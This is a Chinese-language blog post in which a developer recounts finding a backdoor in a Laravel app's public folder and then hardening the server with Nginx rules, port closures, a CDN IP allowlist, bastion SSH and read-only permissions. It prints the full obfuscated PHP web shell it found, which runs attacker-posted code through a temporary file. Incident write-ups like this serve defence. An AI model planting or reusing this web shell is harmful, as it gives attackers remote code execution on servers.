3 min read

Laravel Public 文件夹被入侵后的优化措施

昨天对正在运行的一个Laravel应用进行了功能更新,发现被入侵,且上传了后门脚本,完成修复后对服务器进行了一系列安全优化,特此记录笔记。

背景

我的应用采用Laravel 11 框架进行开发并部署到公网服务器。和往常一样,我在本地环境完成了新的功能调试和更新后,将更改推送到了git。紧接着将会登陆远程服务器来拉取更新完成同步,但我习惯性在拉取之前都执行以下 git status 查看是否可以直接拉取。结果就在这次拉取时发现 public 文件夹下多出了一个位置的PHP脚本文件:Lndex.php ,经过分析确实是一个远程后门文件,内容如下:

<?php
function filterStr($hex)
{
    $str = chr(hexdec('3f')) . chr(hexdec('70')) . 'h';
    $str .= "p" . "\n";
    for ($i = 0; $i < strlen($hex) - 1; $i += 2)
        $str .= chr(hexdec($hex[$i] . $hex[$i + 1]));
    return $str . "?";
}
function randomGifFile()
{
    $string_table = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890';
    $tmp = '';
    // e98il3hfMPR0g6uv3jwt
    for ($i = 0; $i < 6; $i++) {
        $tmp .= $string_table[rand(0, 62 - 1)];
    }
    return sys_get_temp_dir() . "/" . $tmp;
}
if (!isset($_GET["id"]) || !isset($_POST["ftp"])) {
    die;
}
// e98il3hfMPR0g6uv3jwt
$a = array(1 => "userName");
$b =& $a[1];
$c = $a;
// gpasda
$c[$_GET["id"]] = $_POST["ftp"];
$fileName = randomGifFile() . ".gif";
file_put_contents($fileName, "" . chr(hexdec('3c')) . filterStr($a[1]) . ">");
sprintf("hello world%s","1");sprintf("hello world%s","2");sprintf("hello world%s","3");
if (file_exists($fileName)) {
    require_once /*file hhh*/$fileName;
}
// e98il3hfMPR0g6uv3jwt
@unlink($fileName);
echo(md5("0cabcd!@#A."));die;  
?>

根据社区朋友分析,此脚本允许远程执行任何脚本注入操作。

入口分析

经过排查到这里我怀疑是由于文件夹权限设置过于大,才导致有心者利用已知的上传漏洞进行了入侵。但后来我推翻这一猜想,因为这个后门文件具有 root:root 权限,而其他站点文件具有的是 www:www 权限。我怀疑是直接进入了root环境。

随后查看了登录日志,所有的可查询近期的登录日志的文件都被清空了,哈哈,看来真是被人光顾了一下。不过服务器上什么有价值的信息也没有。

到这里基本可以确认,歹人是通过公共服务端口或已知的漏洞突破了root权限。

优化方案

在经过进一步检测、安全扫描和修复后,我决定重新部署安全措施来确保服务稳定运行:
1. 强化Nginx脚本执行保护

在配置文件中,我禁止了通过浏览器访问任何.php文件,但除了 index.php 入口文件,因为Laravel是一个单入口文件,此举确保了入口一致性,防止出现注入其他文件被执行的风险。

2.关闭所有可用的非业务端口

通过防火墙和服务器提供商的云防火墙,仅用了所有非业务端口,仅开放了 80,443 端口,以此避免SFTP和ROOT攻击尝试。

3.最大力度缩减可访问IP范围

由于我的服务器会部署在CDN后方,因此我还在服务器的防火墙上添加了限制,80,443业务端口进允许CDN提供商的IP地址段访问,其他段落则禁止访问。

4.有限的堡垒机访问SSH

和之前直接连接业务及其不同,这里我们选择将业务机器授权仅通过内网堡垒机可以访问SSH服务。

5.强化文件权限

将公开文件夹 public 的权限设置为不可写入,仅读取,以此进一步确保不被已知漏洞注入新后门文件。

总结

通过以上措施,理论上已经做好了充分的防御注入措施,但如果你的程序本身存在注入漏洞,歹人依然可以通过入口文件构造注入,这个时候还建议添加CDN提供商侧的 WAF 云防火墙对用户访问进行进一步分析和记录,防御,并及时收到警告。